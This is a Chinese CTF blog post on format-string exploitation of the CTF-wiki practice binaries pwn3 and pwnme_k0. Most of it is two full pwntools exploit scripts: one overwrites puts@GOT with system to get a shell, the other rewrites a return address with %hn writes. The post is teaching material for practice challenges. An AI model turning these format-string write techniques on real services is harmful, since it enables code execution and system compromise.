pwn----Fmtstr(二)

接着上面一篇说劫持got表从而获得shell

原理

在我们的got表中,存储的是函数的真实地址,调用got表时,实际上是跳到真实地址去执行。所以我们只要(parial下)将got表的地方修改成我们想要函数的实际地址,就可以利用了

ctf-wiki上的pwn3,太长这里就不贴了
直接exp

from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
pwn3 = ELF('./pwn3')
if args['REMOTE']:
    sh = remote('111', 111)
else:
    sh = process('./pwn3')


def get(name):
    sh.sendline('get')
    sh.recvuntil('enter the file name you want to get:')
    sh.sendline(name)
    data = sh.recv()
    return data


def put(name, content):
    sh.sendline('put')
    sh.recvuntil('please enter the name of the file you want to upload:')
    sh.sendline(name)
    sh.recvuntil('then, enter the content:')
    sh.sendline(content)


def show_dir():
    sh.sendline('dir')


tmp = 'sysbdmin'
name = ""
for i in tmp:
    name += chr(ord(i) - 1)


## password
def password():
    sh.recvuntil('Name (ftp.hacker.server:Rainism):')
    sh.sendline(name)


##password
password()
#看一下ida直接绕过
## get the addr of puts
puts_got = pwn3.got['puts']
log.success('puts got : ' + hex(puts_got))
put('1111', '%8$s' + p32(puts_got))
#利用printf打印处puts的地址,1111是随便输的
puts_addr = u32(get('1111')[:4])
print(hex(puts_addr))

## get addr of system
##得到地址后人工查询是偏移
system_offset =0x03adb0
puts_offset = 0x05fcb0
system_addr = puts_addr - puts_offset + system_offset
log.success('system addr : ' + hex(system_addr))

## modify puts@got, point to system_addr
#记得算偏移时候断点下在call的时候
payload = fmtstr_payload(7, {puts_got: system_addr})
print(payload)
put('/bin/sh;', payload)
sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
##gdb.attach(sh)
sh.sendline('/bin/sh;')
##这里用分号是为了分开命令,防止sys读错  这里直接执行是因为上面的put就是这次put的参数。

## system('/bin/sh')
show_dir()
sh.interactive()

劫持返回地址
原理就是把返回地址内存空间上的返回地址通过格式化漏洞换成我们在text中的想要的函数的内容...注意这里泄露了原bp的地址然后算原bp地址和现在返回地址的偏移,再确定返回地址

也是wiki上的pwnme_k0
这里直接EXP

from pwn import *
context.log_level="debug"
context.arch="amd64"

sh=process("./pwnme_k0")
binary=ELF("pwnme_k0")
#gdb.attach(sh)

sh.recv()
sh.writeline("1"*8)
sh.recv()
sh.writeline("%6$p")
##这里是系统函数,函数寄存器存储6个,在$中最小是6
##64位太怪异了  用的fastcall 参数在栈上共享 还有字节对齐
sh.recv()
sh.writeline("1")
sh.recvuntil("0x")
ret_addr = int(sh.recvline().strip(),16) - 0x38
##算出偏移是0x38
success("ret_addr:"+hex(ret_addr))


sh.recv()
sh.writeline("2")
sh.recv()
sh.sendline(p64(ret_addr))
##发现读入和取出的参数是一样的...具体自己用汇编算偏移,不过还是建议程序走一遍来发现字这个特点...毕竟是一个漏洞会知道是哪里读入的
sh.recv()
#sh.writeline("%2214d%8$hn")
#0x4008aa-0x4008a6 
##填什么 看Ubuntu版本,18.以上的填上面的可能会crash
sh.writeline("%2214d%8$hn")

sh.recv()
sh.writeline("1")
sh.recv()
sh.interactive()

image.png
image.png
注意分分清不同调用的汇编代码,从而进行相应的调整....本题就是红字典型的特征...注意栈偏移

收工睡觉

你可能感兴趣的:(安全ctf)